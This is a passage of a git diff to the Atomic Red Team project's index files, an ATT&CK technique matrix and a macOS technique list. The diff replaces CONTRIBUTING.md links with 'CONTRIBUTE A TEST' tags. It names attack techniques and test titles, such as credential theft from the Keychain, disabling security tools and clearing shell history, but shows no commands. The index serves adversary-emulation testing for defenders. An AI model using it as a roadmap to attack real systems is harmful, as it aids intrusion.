Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Process Injection](./T1055/T1055.md) | | | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Process Injection](./T1055/T1055.md) | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Timestomp](./T1099/T1099.md) | | | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Timestomp](./T1099/T1099.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 51fce69d..ca13fe5c 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -8,7 +8,7 @@ - Atomic Test #3: Firefox [linux, windows, macos] - [T1136 Create Account](./T1136/T1136.md) - Atomic Test #2: Create a user account on a MacOS system [macos] -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] @@ -18,8 +18,8 @@ - Atomic Test #6: Show all hidden files [macos] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] -- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1161 LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1215 Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1161 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1159 Launch Agent](./T1159/T1159.md) - Atomic Test #1: Launch Agent [macos] - [T1160 Launch Daemon](./T1160/T1160.md) @@ -29,24 +29,24 @@ - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1162 Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1162 Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #2: Logon Scripts - Mac [macos] - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1163 Rc.common](./T1163/T1163.md) - Atomic Test #1: rc.common [macos] - [T1164 Re-opened Applications](./T1164/T1164.md) - Atomic Test #1: Re-Opened Applications [macos] - Atomic Test #2: Re-Opened Applications [macos] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -56,8 +56,8 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #5: Show if a user account has ever logger in remotely [linux, macos] - Atomic Test #6: Enumerate Groups and users [linux, macos] -- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1010 Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #2: nix file and diectory discovery [macos, linux] - Atomic Test #3: nix file and diectory discovery [macos, linux] @@ -65,7 +65,7 @@ - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) @@ -80,7 +80,7 @@ - Atomic Test #3: List OS Information [linux, macos] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] @@ -89,52 +89,52 @@ - Atomic Test #1: AppleScript [macos] - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1153 Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1204 User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) - Atomic Test #1: AppleScript [macos] -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #2: Logon Scripts - Mac [macos] - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # collection - [T1123 Audio Capture](./T1123/T1123.md) - [T1119 Automated Collection](./T1119/T1119.md) - [T1115 Clipboard Data](./T1115/T1115.md) - [T1074 Data Staged](./T1074/T1074.md) -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1005 Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) - [T1113 Screen Capture](./T1113/T1113.md) - Atomic Test #1: Screencapture [macos] - Atomic Test #2: Screencapture (silent) [macos] -- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #3: Data Compressed - nix [linux, macos] - [T1022 Data Encrypted](./T1022/T1022.md) @@ -145,10 +145,10 @@ - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # credential-access - [T1139 Bash History](./T1139/T1139.md) @@ -156,31 +156,31 @@ - [T1110 Brute Force](./T1110/T1110.md) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) - [T1141 Input Prompt](./T1141/T1141.md) - Atomic Test #1: Prompt User for Password [macos] - [T1142 Keychain](./T1142/T1142.md) - Atomic Test #1: Keychain [macos] -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) -- [T1167 Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # defense-evasion -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1009 Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1146 Clear Command History](./T1146/T1146.md) - Atomic Test #1: Clear Bash history (rm) [linux, macos] - Atomic Test #2: Clear Bash history (echo) [linux, macos] - Atomic Test #3: Clear Bash history (cat dev/null) [linux, macos] - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] -- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1089 Disabling Security Tools](./T1089/T1089.md) - Atomic Test #5: Disable Carbon Black Response [macos] - Atomic Test #6: Disable LittleSnitch [macos] - Atomic Test #7: Disable OpenDNS Umbrella [macos] -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1107 File Deletion](./T1107/T1107.md) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] @@ -196,66 +196,66 @@ - Atomic Test #8: Create hidden directories and files [macos, linux] - [T1147 Hidden Users](./T1147/T1147.md) - Atomic Test #1: Hidden Users [macos] -- [T1143 Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1143 Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #3: rm -rf [macos, linux] - [T1130 Install Root Certificate](./T1130/T1130.md) -- [T1149 LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1149 LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1036 Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1027 Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1014 Rootkit](./T1014/T1014.md) -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1219 Remote Access Tools 